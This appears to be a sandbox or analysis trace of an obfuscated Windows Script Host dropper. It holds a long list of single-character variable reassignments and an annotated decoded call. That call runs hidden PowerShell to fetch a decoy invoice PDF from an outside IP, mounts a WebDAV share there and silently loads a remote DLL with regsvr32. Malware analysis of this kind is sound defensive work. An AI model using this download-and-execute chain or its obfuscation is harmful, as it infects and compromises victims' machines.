RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( fssbav = 0 ; fssbav < wuoheor[hekollqzl + higddsxt + sfazw + mhxgvi + pbbyigxx + jaiubnc] ; ++ fssbav )
4	{
5	if ( yqhalrqml == wuoheor[fssbav] )
6	{
7	yqhalrqml = true;
8	break ;
9	}
10	}
11	if ( yqhalrqml !== true )
12	this[pcwndyw + gydgo + rewwi + dpnlzapjl + delmtoi + kehdhmqr + pbbyigxx][ejamahxk + hftdppxgu + delmtoi + pbbyigxx] ( );
13	this[pcwndyw + gydgo + rewwi + dpnlzapjl + delmtoi + kehdhmqr + pbbyigxx][otbwrlv + dpnlzapjl + higddsxt + himmhhqy + pbbyigxx + higddsxt + sdgez + quxfhn + edzfmbsb + higddsxt + rewwi + pbbyigxx] ( pcwndyw + gydgo + rewwi + dpnlzapjl + delmtoi + kehdhmqr + pbbyigxx + yycsbxp + gydgo + jaiubnc + higddsxt + hekollqzl + hekollqzl ) [dpnlzapjl + hftdppxgu + sfazw] ( rewwi + qqgngz + onsjw + dzljsnb + lahbgwjmw + rewwi + dzljsnb + kehdhmqr + azwbi + fsxtj + higddsxt + dpnlzapjl + gicygagwk + jaiubnc + higddsxt + hekollqzl + hekollqzl + yycsbxp + higddsxt + npzsvygk + higddsxt + dzljsnb + vxpptgxb + otbwrlv + azwbi + qqgngz + qqgngz + himmhhqy + sfazw + onsjw + dzljsnb + bwcsb + gvtqnkvu + sfazw + tanbu + azwbi + avbkcrrh + higddsxt + vxpptgxb + pcwndyw + higddsxt + quxfhn + bpxkjvltz + higddsxt + znlfngk + hftdppxgu + higddsxt + gicygagwk + pbbyigxx + dzljsnb + vxpptgxb + sdgez + hftdppxgu + pbbyigxx + qdfofr + delmtoi + hekollqzl + higddsxt + dzljsnb + owerlocr + pbbyigxx + higddsxt + qqgngz + kehdhmqr + owerlocr + dmctquz + delmtoi + sfazw + tanbu + azwbi + delmtoi + rewwi + higddsxt + yycsbxp + kehdhmqr + onsjw + oievmokct + dzljsnb + jaiubnc + pbbyigxx + pbbyigxx + kehdhmqr + mxyelp + lahbgwjmw + lahbgwjmw + vwbmdtw + qmvztih + fzssub + yycsbxp + vwbmdtw + soyeteu + fzssub + yycsbxp + vwbmdtw + yycsbxp + pozabynk + hmugxmxgv + rnulzgr + lahbgwjmw + delmtoi + sfazw + tanbu + azwbi + delmtoi + rewwi + higddsxt + yycsbxp + kehdhmqr + jaiubnc + kehdhmqr + bwcsb + uzqtidvca + uzqtidvca + gicygagwk + pbbyigxx + himmhhqy + dpnlzapjl + pbbyigxx + dzljsnb + owerlocr + pbbyigxx + higddsxt + qqgngz + kehdhmqr + owerlocr + dmctquz + delmtoi + sfazw + tanbu + azwbi + delmtoi + rewwi + higddsxt + yycsbxp + kehdhmqr + onsjw + oievmokct + uzqtidvca + uzqtidvca + rewwi + qqgngz + onsjw + dzljsnb + lahbgwjmw + rewwi + dzljsnb + sfazw + higddsxt + pbbyigxx + dzljsnb + hftdppxgu + gicygagwk + higddsxt + dzljsnb + dmctquz + dmctquz + vwbmdtw + qmvztih + fzssub + yycsbxp + vwbmdtw + soyeteu + fzssub + yycsbxp + vwbmdtw + yycsbxp + pozabynk + hmugxmxgv + rnulzgr + xiepg + rgccn + rgccn + rgccn + rgccn + dmctquz + onsjw + himmhhqy + tanbu + fsxtj + fsxtj + fsxtj + dpnlzapjl + azwbi + azwbi + pbbyigxx + dmctquz + uzqtidvca + uzqtidvca + rewwi + qqgngz + onsjw + dzljsnb + lahbgwjmw + rewwi + dzljsnb + dpnlzapjl + higddsxt + mhxgvi + gicygagwk + tanbu + dpnlzapjl + fzssub + pozabynk + dzljsnb + lahbgwjmw + gicygagwk + dzljsnb + dmctquz + dmctquz + vwbmdtw + qmvztih + fzssub + yycsbxp + vwbmdtw + soyeteu + fzssub + yycsbxp + vwbmdtw + yycsbxp + pozabynk + hmugxmxgv + rnulzgr + xiepg + rgccn + rgccn + rgccn + rgccn + dmctquz + onsjw + himmhhqy + tanbu + fsxtj + fsxtj + fsxtj + dpnlzapjl + azwbi + azwbi + pbbyigxx + dmctquz + vwbmdtw + lndclogg + fzssub + soyeteu + lndclogg + pozabynk + fzssub + pozabynk + vwbmdtw + rgccn + pozabynk + azrqckzr + azrqckzr + vwbmdtw + fzssub + yycsbxp + onsjw + hekollqzl + hekollqzl, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll",0,false) ➔ 0
14	}
15	azrqckzr = "D";
16	azrqckzr = "l";
17	azrqckzr = "d";
18	azrqckzr = "l";
19	azrqckzr = "M";
20	azrqckzr = "z";
21	azrqckzr = "x";
22	azrqckzr = "p";
23	azrqckzr = "k";
24	azrqckzr = "u";
25	azrqckzr = "v";
26	azrqckzr = "B";
27	azrqckzr = "b";
28	azrqckzr = "y";
29	azrqckzr = "L";
30	azrqckzr = "f";
31	azrqckzr = "A";
32	azrqckzr = "D";
33	azrqckzr = "B";
34	azrqckzr = "m";
35	azrqckzr = "y";
36	azrqckzr = "g";
37	azrqckzr = "7";
38	sdgez = "u";
39	sdgez = "P";
40	sdgez = "H";
41	sdgez = "S";
42	sdgez = "W";
43	sdgez = "w";
44	sdgez = "x";
45	sdgez = "m";
46	sdgez = "p";
47	sdgez = "H";
48	sdgez = "v";
49	sdgez = "A";
50	sdgez = "Y";
51	sdgez = "R";
52	sdgez = "K";
53	sdgez = "u";
54	sdgez = "X";
55	sdgez = "w";
56	sdgez = "L";
57	sdgez = "a";
58	sdgez = "W";
59	sdgez = "t";
60	sdgez = "B";
61	sdgez = "J";
62	sdgez = "l";
63	sdgez = "q";
64	sdgez = "L";
65	sdgez = "C";
66	sdgez = "y";
67	sdgez = "d";
68	sdgez = "E";
69	sdgez = "M";
70	sdgez = "D";
71	sdgez = "T";
72	sdgez = "G";
73	sdgez = "O";
74	himmhhqy = "C";
75	himmhhqy = "v";
76	himmhhqy = "k";
77	himmhhqy = "c";
78	himmhhqy = "g";
79	himmhhqy = "Q";
80	himmhhqy = "d";
81	himmhhqy = "R";
82	himmhhqy = "D";
83	himmhhqy = "E";
84	himmhhqy = "d";
85	himmhhqy = "A";
86	himmhhqy = "I";
87	himmhhqy = "c";
88	himmhhqy = "X";
89	himmhhqy = "C";
90	himmhhqy = "e";
91	himmhhqy = "o";
92	himmhhqy = "N";
93	himmhhqy = "O";
94	himmhhqy = "S";
95	himmhhqy = "x";
96	himmhhqy = "v";
97	himmhhqy = "c";
98	himmhhqy = "a";
99	vwbmdtw = "w";
100	vwbmdtw = "l";
101	vwbmdtw = "L";
102	vwbmdtw = "w";
103	vwbmdtw = "r";
104	vwbmdtw = "I";
105	vwbmdtw = "g";
106	vwbmdtw = "t";
107	vwbmdtw = "d";
108	vwbmdtw = "G";
109	vwbmdtw = "n";
110	vwbmdtw = "Y";
111	vwbmdtw = "l";
112	vwbmdtw = "y";
113	vwbmdtw = "J";
114	vwbmdtw = "J";
115	vwbmdtw = "M";
116	vwbmdtw = "x";
117	vwbmdtw = "H";
118	vwbmdtw = "F";
119	vwbmdtw = "o";
120	vwbmdtw = "d";
121	vwbmdtw = "V";
122	vwbmdtw = "E";
123	vwbmdtw = "T";
124	vwbmdtw = "L";
125	vwbmdtw = "V";
126	vwbmdtw = "E";
127	vwbmdtw = "V";
128	vwbmdtw = "A";
129	vwbmdtw = "d";
130	vwbmdtw = "q";
131	vwbmdtw = "t";
132	vwbmdtw = "B";
133	vwbmdtw = "V";
134	vwbmdtw = "Y";
135	vwbmdtw = "j";
136	vwbmdtw = "1";
137	znlfngk = "L";
138	znlfngk = "k";
139	znlfngk = "h";
140	znlfngk = "Q";
141	znlfngk = "n";
142	znlfngk = "D";
143	znlfngk = "N";
144	znlfngk = "f";
145	znlfngk = "E";
146	znlfngk = "s";
147	znlfngk = "h";
148	znlfngk = "q";
149	chmjlzy = "s";
150	chmjlzy = "O";
151	chmjlzy = "g";
152	chmjlzy = "B";
153	chmjlzy = "V";
154	chmjlzy = "A";
155	chmjlzy = "N";
156	chmjlzy = "w";
157	chmjlzy = "u";
158	chmjlzy = "J";
159	chmjlzy = "n";
160	chmjlzy = "P";
161	chmjlzy = "h";
162	chmjlzy = "Y";
163	chmjlzy = "O";
164	chmjlzy = "T";
165	chmjlzy = "R";
166	chmjlzy = "Y";
167	chmjlzy = "J";
168	chmjlzy = "s";
169	chmjlzy = "y";
170	chmjlzy = "q";
171	chmjlzy = "O";
172	chmjlzy = "t";
173	chmjlzy = "d";
174	chmjlzy = "A";
175	chmjlzy = "j";
176	chmjlzy = "K";
177	chmjlzy = "R";
178	chmjlzy = "Y";
179	chmjlzy = "E";
180	chmjlzy = "C";
181	chmjlzy = "a";
182	chmjlzy = "B";
183	chmjlzy = "D";
184	chmjlzy = "v";
185	chmjlzy = "B";
186	chmjlzy = "d";
187	chmjlzy = "E";
188	ejamahxk = "f";
189	ejamahxk = "G";
190	ejamahxk = "R";
191	ejamahxk = "c";
192	ejamahxk = "o";
193	ejamahxk = "o";
194	ejamahxk = "z";
195	ejamahxk = "i";
196	ejamahxk = "I";
197	ejamahxk = "F";
198	ejamahxk = "P";
199	ejamahxk = "O";
200	ejamahxk = "q";
201	ejamahxk = "r";
202	ejamahxk = "T";
203	ejamahxk = "O";
204	ejamahxk = "B";
205	ejamahxk = "n";
206	ejamahxk = "Q";
207	bpxkjvltz = "s";
208	bpxkjvltz = "g";
209	bpxkjvltz = "a";
210	bpxkjvltz = "I";
211	bpxkjvltz = "f";
212	bpxkjvltz = "S";
213	bpxkjvltz = "b";
214	bpxkjvltz = "u";
215	bpxkjvltz = "s";
216	bpxkjvltz = "I";
217	bpxkjvltz = "d";
218	bpxkjvltz = "R";
219	tanbu = "h";
220	tanbu = "Y";
221	tanbu = "b";
222	tanbu = "I";
223	tanbu = "j";
224	tanbu = "U";
225	tanbu = "B";
226	tanbu = "D";
227	tanbu = "N";
228	tanbu = "X";
229	tanbu = "J";
230	tanbu = "v";
231	tanbu = "F";
232	tanbu = "s";
233	tanbu = "s";
234	tanbu = "T";
235	tanbu = "W";
236	tanbu = "v";
237	bwcsb = "D";
238	bwcsb = "E";
239	bwcsb = "w";
240	bwcsb = "t";
241	bwcsb = "r";
242	bwcsb = "z";
243	bwcsb = "W";
244	bwcsb = "x";
245	bwcsb = "V";
246	bwcsb = "J";
247	bwcsb = "x";
248	bwcsb = "j";
249	bwcsb = "N";
250	bwcsb = "J";
251	bwcsb = "Z";
252	bwcsb = "o";
253	bwcsb = "x";
254	bwcsb = "c";
255	bwcsb = "v";
256	bwcsb = "u";
257	bwcsb = "Z";
258	bwcsb = "H";
259	bwcsb = "W";
260	bwcsb = "E";
261	bwcsb = "T";
262	bwcsb = "\"";
263	dpnlzapjl = "V";
264	dpnlzapjl = "u";
265	dpnlzapjl = "W";
266	dpnlzapjl = "G";
267	dpnlzapjl = "i";
268	dpnlzapjl = "d";
269	dpnlzapjl = "Y";
270	dpnlzapjl = "t";
271	dpnlzapjl = "R";
272	dpnlzapjl = "F";
273	dpnlzapjl = "K";
274	dpnlzapjl = "w";
275	dpnlzapjl = "A";
276	dpnlzapjl = "w";
277	dpnlzapjl = "T";
278	dpnlzapjl = "t";
279	dpnlzapjl = "o";
280	dpnlzapjl = "x";
281	dpnlzapjl = "U";
282	dpnlzapjl = "K";
283	dpnlzapjl = "b";
284	dpnlzapjl = "x";
285	dpnlzapjl = "e";
286	dpnlzapjl = "j";
287	dpnlzapjl = "S";
288	dpnlzapjl = "C";
289	dpnlzapjl = "L";
290	dpnlzapjl = "z";
291	dpnlzapjl = "J";
292	dpnlzapjl = "a";
293	dpnlzapjl = "L";
294	dpnlzapjl = "T";
295	dpnlzapjl = "C";
296	dpnlzapjl = "r";
297	pozabynk = "Z";
298	pozabynk = "Q";
299	pozabynk = "p";
300	pozabynk = "P";
301	pozabynk = "u";
302	pozabynk = "b";
303	pozabynk = "o";
304	pozabynk = "i";
305	pozabynk = "t";
306	pozabynk = "A";
307	pozabynk = "u";
308	pozabynk = "I";
309	pozabynk = "w";
310	pozabynk = "V";
311	pozabynk = "f";
312	pozabynk = "C";
313	pozabynk = "K";
314	pozabynk = "i";
315	pozabynk = "a";
316	pozabynk = "o";
317	pozabynk = "w";
318	pozabynk = "r";
319	pozabynk = "T";
320	pozabynk = "C";
321	pozabynk = "t";
322	pozabynk = "F";
323	pozabynk = "c";
324	pozabynk = "i";
325	pozabynk = "F";
326	pozabynk = "V";
327	pozabynk = "h";
328	pozabynk = "r";
329	pozabynk = "z";
330	pozabynk = "U";
331	pozabynk = "2";
332	fsxtj = "k";
333	fsxtj = "k";
334	fsxtj = "U";
335	fsxtj = "p";
336	fsxtj = "n";
337	fsxtj = "g";
338	fsxtj = "c";
339	fsxtj = "i";
340	fsxtj = "T";
341	fsxtj = "t";
342	fsxtj = "r";
343	fsxtj = "n";
344	fsxtj = "o";
345	fsxtj = "j";
346	fsxtj = "q";
347	fsxtj = "v";
348	fsxtj = "i";
349	fsxtj = "w";
350	owerlocr = "l";
351	owerlocr = "d";
352	owerlocr = "e";
353	owerlocr = "D";
354	owerlocr = "i";
355	owerlocr = "z";
356	owerlocr = "t";
357	owerlocr = "U";
358	owerlocr = "J";
359	owerlocr = "b";
360	owerlocr = "E";
361	owerlocr = "n";
362	owerlocr = "X";
363	owerlocr = "U";
364	owerlocr = "C";
365	owerlocr = "S";
366	owerlocr = "g";
367	owerlocr = "S";
368	owerlocr = "T";
369	owerlocr = "q";
370	owerlocr = "K";
371	owerlocr = "U";
372	owerlocr = "k";
373	owerlocr = "r";
374	owerlocr = "e";
375	owerlocr = "R";
376	owerlocr = "V";
377	owerlocr = "S";
378	owerlocr = "I";
379	owerlocr = "y";
380	owerlocr = "B";
381	owerlocr = "t";
382	owerlocr = "x";
383	owerlocr = "r";
384	owerlocr = "f";
385	owerlocr = "R";
386	owerlocr = "x";
387	owerlocr = "t";
388	owerlocr = "J";
389	owerlocr = "Y";
390	owerlocr = "i";
391	owerlocr = "%";
392	otbwrlv = "p";
393	otbwrlv = "i";
394	otbwrlv = "G";
395	otbwrlv = "t";
396	otbwrlv = "W";
397	otbwrlv = "T";
398	otbwrlv = "s";
399	otbwrlv = "h";
400	otbwrlv = "I";
401	otbwrlv = "K";
402	otbwrlv = "R";
403	otbwrlv = "X";
404	otbwrlv = "l";
405	otbwrlv = "l";
406	otbwrlv = "F";
407	otbwrlv = "W";
408	otbwrlv = "W";
409	otbwrlv = "R";
410	otbwrlv = "C";
411	hftdppxgu = "A";
412	hftdppxgu = "E";
413	hftdppxgu = "f";
414	hftdppxgu = "D";
415	hftdppxgu = "d";
416	hftdppxgu = "t";
417	hftdppxgu = "R";
418	hftdppxgu = "B";
419	hftdppxgu = "w";
420	hftdppxgu = "r";
421	hftdppxgu = "l";
422	hftdppxgu = "r";
423	hftdppxgu = "v";
424	hftdppxgu = "f";
425	hftdppxgu = "W";
426	hftdppxgu = "H";
427	hftdppxgu = "k";
428	hftdppxgu = "L";
429	hftdppxgu = "R";
430	hftdppxgu = "K";
431	hftdppxgu = "u";
432	hftdppxgu = "s";
433	hftdppxgu = "B";
434	hftdppxgu = "b";
435	hftdppxgu = "X";
436	hftdppxgu = "E";
437	hftdppxgu = "U";
438	hftdppxgu = "V";
439	hftdppxgu = "C";
440	hftdppxgu = "c";
441	hftdppxgu = "u";
442	wwzbe = "B";
443	wwzbe = "b";
444	wwzbe = "Z";
445	wwzbe = "H";
446	quxfhn = "c";
447	quxfhn = "y";
448	quxfhn = "f";
449	quxfhn = "b";
450	quxfhn = "l";
451	quxfhn = "D";
452	quxfhn = "x";
453	quxfhn = "a";
454	quxfhn = "x";
455	quxfhn = "Y";
456	quxfhn = "A";
457	quxfhn = "X";
458	quxfhn = "u";
459	quxfhn = "U";
460	quxfhn = "k";
461	quxfhn = "H";
462	quxfhn = "R";
463	quxfhn = "y";
464	quxfhn = "x";
465	quxfhn = "o";
466	quxfhn = "z";
467	quxfhn = "L";
468	quxfhn = "w";
469	quxfhn = "K";
470	quxfhn = "y";
471	quxfhn = "s";
472	quxfhn = "t";
473	quxfhn = "G";
474	quxfhn = "c";
475	quxfhn = "V";
476	quxfhn = "b";
477	qmvztih = "j";
478	qmvztih = "Z";
479	qmvztih = "S";
480	qmvztih = "w";
481	qmvztih = "r";
482	qmvztih = "J";
483	qmvztih = "9";
484	vxpptgxb = "b";
485	vxpptgxb = "l";
486	vxpptgxb = "w";
487	vxpptgxb = "A";
488	vxpptgxb = "W";
489	vxpptgxb = "F";
490	vxpptgxb = "x";
491	vxpptgxb = "M";
492	vxpptgxb = "-";
493	rsomxdsj = "H";
494	rsomxdsj = "U";
495	rsomxdsj = "t";
496	rsomxdsj = "X";
497	rsomxdsj = "u";
498	rsomxdsj = "A";
499	rsomxdsj = "u";
500	rsomxdsj = "n";
501	rsomxdsj = "b";
502	rsomxdsj = "v";
503	rsomxdsj = "P";
504	rsomxdsj = "P";
505	qdfofr = "Y";
506	qdfofr = "G";
507	qdfofr = "H";
508	qdfofr = "S";
509	qdfofr = "W";
510	qdfofr = "T";
511	qdfofr = "A";
512	qdfofr = "M";
513	qdfofr = "a";
514	qdfofr = "O";
515	qdfofr = "g";
516	qdfofr = "V";
517	qdfofr = "L";
518	qdfofr = "w";
519	qdfofr = "i";
520	qdfofr = "M";
521	qdfofr = "N";
522	qdfofr = "W";
523	qdfofr = "G";
524	qdfofr = "A";
525	qdfofr = "F";
526	npzsvygk = "t";
527	npzsvygk = "I";
528	npzsvygk = "n";
529	npzsvygk = "n";
530	npzsvygk = "x";
531	qqgngz = "w";
532	qqgngz = "e";
533	qqgngz = "y";
534	qqgngz = "M";
535	qqgngz = "f";
536	qqgngz = "t";
537	qqgngz = "k";
538	qqgngz = "r";
539	qqgngz = "l";
540	qqgngz = "Z";
541	qqgngz = "b";
542	qqgngz = "D";
543	qqgngz = "s";
544	qqgngz = "y";
545	qqgngz = "g";
546	qqgngz = "S";
547	qqgngz = "H";
548	qqgngz = "B";
549	qqgngz = "W";
550	qqgngz = "p";
551	qqgngz = "w";
552	qqgngz = "y";
553	qqgngz = "H";
554	qqgngz = "m";
555	azwbi = "I";
556	azwbi = "o";
557	klauz = "p";
558	klauz = "g";
559	klauz = "A";
560	klauz = "m";
561	klauz = "A";
562	klauz = "d";
563	klauz = "c";
564	klauz = "l";
565	klauz = "L";
566	klauz = "N";
567	klauz = "Q";
568	klauz = "t";
569	klauz = "V";
570	klauz = "A";
571	klauz = "a";
572	klauz = "z";
573	klauz = "J";
574	klauz = "d";
575	klauz = "R";
576	klauz = "z";
577	klauz = "K";
578	klauz = "T";
579	klauz = "g";
580	klauz = "a";
581	klauz = "x";
582	klauz = "N";
583	klauz = "s";
584	klauz = "o";
585	klauz = "f";
586	klauz = "n";
587	klauz = "f";
588	klauz = "M";
589	klauz = "N";
590	klauz = "i";
591	klauz = "j";
592	klauz = "D";
593	klauz = "C";
594	klauz = "W";
595	klauz = "t";
596	klauz = "U";
597	klauz = "x";
598	klauz = "U";
599	avbkcrrh = "K";
600	avbkcrrh = "q";
601	avbkcrrh = "t";
602	avbkcrrh = "n";
603	avbkcrrh = "H";
604	avbkcrrh = "b";
605	avbkcrrh = "f";
606	avbkcrrh = "G";
607	avbkcrrh = "C";
608	avbkcrrh = "L";
609	avbkcrrh = "z";
610	avbkcrrh = "s";
611	avbkcrrh = "c";
612	avbkcrrh = "l";
613	avbkcrrh = "b";
614	avbkcrrh = "k";
615	yycsbxp = "g";
616	yycsbxp = "u";
617	yycsbxp = ".";
618	xiepg = "D";
619	xiepg = "E";
620	xiepg = "q";
621	xiepg = "i";
622	xiepg = "K";
623	xiepg = "r";
624	xiepg = "A";
625	xiepg = "D";
626	xiepg = "q";
627	xiepg = "u";
628	xiepg = "H";
629	xiepg = "s";
630	xiepg = "U";
631	xiepg = "R";
632	xiepg = "n";
633	xiepg = "x";
634	xiepg = "@";
635	gicygagwk = "U";
636	gicygagwk = "E";
637	gicygagwk = "J";
638	gicygagwk = "j";
639	gicygagwk = "U";
640	gicygagwk = "R";
641	gicygagwk = "i";
642	gicygagwk = "I";
643	gicygagwk = "g";
644	gicygagwk = "W";
645	gicygagwk = "p";
646	gicygagwk = "L";
647	gicygagwk = "C";
648	gicygagwk = "F";
649	gicygagwk = "I";
650	gicygagwk = "N";
651	gicygagwk = "l";
652	gicygagwk = "c";
653	gicygagwk = "i";
654	gicygagwk = "U";
655	gicygagwk = "x";
656	gicygagwk = "E";
657	gicygagwk = "F";
658	gicygagwk = "K";
659	gicygagwk = "K";
660	gicygagwk = "e";
661	gicygagwk = "M";
662	gicygagwk = "C";
663	gicygagwk = "s";
664	cfsomuf = "q";
665	cfsomuf = "l";
666	cfsomuf = "P";
667	cfsomuf = "D";
668	cfsomuf = "c";
669	cfsomuf = "R";
670	cfsomuf = "f";
671	cfsomuf = "j";
672	cfsomuf = "h";
673	cfsomuf = "N";
674	cfsomuf = "e";
675	cfsomuf = "B";
676	cfsomuf = "a";
677	cfsomuf = "U";
678	cfsomuf = "k";
679	cfsomuf = "t";
680	cfsomuf = "U";
681	cfsomuf = "h";
682	cfsomuf = "W";
683	cfsomuf = "w";
684	cfsomuf = "h";
685	cfsomuf = "D";
686	cfsomuf = "X";
687	cfsomuf = "h";
688	cfsomuf = "y";
689	cfsomuf = "k";
690	cfsomuf = "Z";
691	cfsomuf = "j";
692	cfsomuf = "y";
693	cfsomuf = "N";
694	hmugxmxgv = "C";
695	hmugxmxgv = "B";
696	hmugxmxgv = "U";
697	hmugxmxgv = "S";
698	hmugxmxgv = "V";
699	hmugxmxgv = "g";
700	hmugxmxgv = "g";
701	hmugxmxgv = "B";
702	hmugxmxgv = "K";
703	hmugxmxgv = "V";
704	hmugxmxgv = "e";
705	hmugxmxgv = "u";
706	hmugxmxgv = "t";
707	hmugxmxgv = "z";
708	hmugxmxgv = "o";
709	hmugxmxgv = "D";
710	hmugxmxgv = "i";
711	hmugxmxgv = "i";
712	hmugxmxgv = "g";
713	hmugxmxgv = "O";
714	hmugxmxgv = "j";
715	hmugxmxgv = "O";
716	hmugxmxgv = "s";
717	hmugxmxgv = "O";
718	hmugxmxgv = "H";
719	hmugxmxgv = "W";
720	hmugxmxgv = "J";
721	hmugxmxgv = "a";
722	hmugxmxgv = "A";
723	hmugxmxgv = "B";
724	hmugxmxgv = "L";
725	hmugxmxgv = "0";
726	onsjw = "w";
727	onsjw = "d";
728	dzljsnb = "K";
729	dzljsnb = "L";
730	dzljsnb = "P";
731	dzljsnb = "K";
732	dzljsnb = "w";
733	dzljsnb = "f";
734	dzljsnb = " ";
735	rnulzgr = "Z";
736	rnulzgr = "U";
737	rnulzgr = "T";
738	rnulzgr = "q";
739	rnulzgr = "N";
740	rnulzgr = "U";
741	rnulzgr = "y";
742	rnulzgr = "W";
743	rnulzgr = "d";
744	rnulzgr = "U";
745	rnulzgr = "W";
746	rnulzgr = "d";
747	rnulzgr = "q";
748	rnulzgr = "G";
749	rnulzgr = "E";
750	rnulzgr = "J";
751	rnulzgr = "X";
752	rnulzgr = "k";
753	rnulzgr = "o";
754	rnulzgr = "j";
755	rnulzgr = "G";
756	rnulzgr = "i";
757	rnulzgr = "r";
758	rnulzgr = "v";
759	rnulzgr = "X";
760	rnulzgr = "T";
761	rnulzgr = "B";
762	rnulzgr = "D";
763	rnulzgr = "T";
764	rnulzgr = "K";
765	rnulzgr = "5";
766	sfazw = "l";
767	sfazw = "H";
768	sfazw = "f";
769	sfazw = "h";
770	sfazw = "z";
771	sfazw = "W";
772	sfazw = "P";
773	sfazw = "x";
774	sfazw = "a";
775	sfazw = "Z";
776	sfazw = "E";
777	sfazw = "A";
778	sfazw = "J";
779	sfazw = "c";
780	sfazw = "d";
781	sfazw = "U";
782	sfazw = "K";
783	sfazw = "z";
784	sfazw = "z";
785	sfazw = "e";
786	sfazw = "t";
787	sfazw = "T";
788	sfazw = "k";
789	sfazw = "p";
790	sfazw = "e";
791	sfazw = "D";
792	sfazw = "R";
793	sfazw = "R";
794	sfazw = "f";
795	sfazw = "U";
796	sfazw = "n";
797	lahbgwjmw = "W";
798	lahbgwjmw = "Z";
799	lahbgwjmw = "N";
800	lahbgwjmw = "p";
801	lahbgwjmw = "Q";
802	lahbgwjmw = "i";
803	lahbgwjmw = "W";
804	lahbgwjmw = "x";
805	lahbgwjmw = "a";
806	lahbgwjmw = "m";
807	lahbgwjmw = "B";
808	lahbgwjmw = "P";
809	lahbgwjmw = "d";
810	lahbgwjmw = "f";
811	lahbgwjmw = "v";
812	lahbgwjmw = "B";
813	lahbgwjmw = "l";
814	lahbgwjmw = "n";
815	lahbgwjmw = "x";
816	lahbgwjmw = "b";
817	lahbgwjmw = "b";
818	lahbgwjmw = "u";
819	lahbgwjmw = "x";
820	lahbgwjmw = "P";
821	lahbgwjmw = "I";
822	lahbgwjmw = "j";
823	lahbgwjmw = "C";
824	lahbgwjmw = "u";
825	lahbgwjmw = "c";
826	lahbgwjmw = "/";
827	xpgzxza = "M";
828	xpgzxza = "L";
829	xpgzxza = "R";
830	xpgzxza = "Z";
831	xpgzxza = "k";
832	xpgzxza = "v";
833	xpgzxza = "p";
834	xpgzxza = "B";
835	xpgzxza = "w";
836	xpgzxza = "f";
837	xpgzxza = "Y";
838	hekollqzl = "O";
839	hekollqzl = "W";
840	hekollqzl = "u";
841	hekollqzl = "v";
842	hekollqzl = "O";
843	hekollqzl = "u";
844	hekollqzl = "F";
845	hekollqzl = "g";
846	hekollqzl = "O";
847	hekollqzl = "l";
848	hekollqzl = "t";
849	hekollqzl = "U";
850	hekollqzl = "l";
851	acaqobphp = "m";
852	acaqobphp = "v";
853	acaqobphp = "Q";
854	acaqobphp = "T";
855	acaqobphp = "O";
856	acaqobphp = "z";
857	acaqobphp = "e";
858	acaqobphp = "y";
859	acaqobphp = "Y";
860	acaqobphp = "R";
861	acaqobphp = "y";
862	acaqobphp = "z";
863	acaqobphp = "e";
864	acaqobphp = "J";
865	acaqobphp = "t";
866	acaqobphp = "Q";
867	acaqobphp = "Z";
868	acaqobphp = "v";
869	acaqobphp = "z";
870	acaqobphp = "X";
871	acaqobphp = "v";
872	acaqobphp = "l";
873	acaqobphp = "K";
874	mxyelp = "a";
875	mxyelp = "M";
876	mxyelp = "M";
877	mxyelp = "Z";
878	mxyelp = "F";
879	mxyelp = "c";
880	mxyelp = "Q";
881	mxyelp = "w";
882	mxyelp = "M";
883	mxyelp = "s";
884	mxyelp = "n";
885	mxyelp = "k";
886	mxyelp = "s";
887	mxyelp = "t";
888	mxyelp = "L";
889	mxyelp = "W";
890	mxyelp = "I";
891	mxyelp = "v";
892	mxyelp = "j";
893	mxyelp = "f";
894	mxyelp = "w";
895	mxyelp = "o";
896	mxyelp = "C";
897	mxyelp = "n";
898	mxyelp = "O";
899	mxyelp = ":";
900	soyeteu = "x";
901	soyeteu = "g";
902	soyeteu = "U";
903	soyeteu = "R";
904	soyeteu = "v";
905	soyeteu = "V";
906	soyeteu = "z";
907	soyeteu = "o";
908	soyeteu = "S";
909	soyeteu = "t";
910	soyeteu = "d";
911	soyeteu = "S";
912	soyeteu = "g";
913	soyeteu = "y";
914	soyeteu = "e";
915	soyeteu = "c";
916	soyeteu = "4";
917	hczollykn = "O";
918	hczollykn = "S";
919	hczollykn = "R";
920	hczollykn = "q";
921	hczollykn = "M";
922	hczollykn = "c";
923	hczollykn = "g";
924	hczollykn = "q";
925	hczollykn = "c";
926	hczollykn = "d";
927	hczollykn = "H";
928	hczollykn = "b";
929	hczollykn = "S";
930	hczollykn = "w";
931	hczollykn = "m";
932	hczollykn = "G";
933	hczollykn = "A";
934	hczollykn = "E";
935	hczollykn = "Q";
936	hczollykn = "L";
937	hczollykn = "a";
938	hczollykn = "Z";
939	hczollykn = "m";
940	hczollykn = "b";
941	hczollykn = "C";
942	hczollykn = "T";
943	pcwndyw = "C";
944	pcwndyw = "i";
945	pcwndyw = "n";
946	pcwndyw = "Y";
947	pcwndyw = "E";
948	pcwndyw = "q";
949	pcwndyw = "W";
950	gydgo = "K";
951	gydgo = "r";
952	gydgo = "l";
953	gydgo = "M";
954	gydgo = "z";
955	gydgo = "m";
956	gydgo = "H";
957	gydgo = "K";
958	gydgo = "E";
959	gydgo = "p";
960	gydgo = "Q";
961	gydgo = "N";
962	gydgo = "G";
963	gydgo = "a";
964	gydgo = "A";
965	gydgo = "F";
966	gydgo = "S";
967	edzfmbsb = "c";
968	edzfmbsb = "L";
969	edzfmbsb = "w";
970	edzfmbsb = "R";
971	edzfmbsb = "X";
972	edzfmbsb = "Y";
973	edzfmbsb = "j";
974	edzfmbsb = "W";
975	edzfmbsb = "C";
976	edzfmbsb = "O";
977	edzfmbsb = "l";
978	edzfmbsb = "W";
979	edzfmbsb = "y";
980	edzfmbsb = "N";
981	edzfmbsb = "O";
982	edzfmbsb = "R";
983	edzfmbsb = "Z";
984	edzfmbsb = "Q";
985	edzfmbsb = "e";
986	edzfmbsb = "k";
987	edzfmbsb = "x";
988	edzfmbsb = "F";
989	edzfmbsb = "t";
990	edzfmbsb = "h";
991	edzfmbsb = "j";
992	mhxgvi = "X";
993	mhxgvi = "L";
994	mhxgvi = "U";
995	mhxgvi = "o";
996	mhxgvi = "p";
997	mhxgvi = "B";
998	mhxgvi = "M";
999	mhxgvi = "V";
1000	mhxgvi = "q";
1001	mhxgvi = "n";
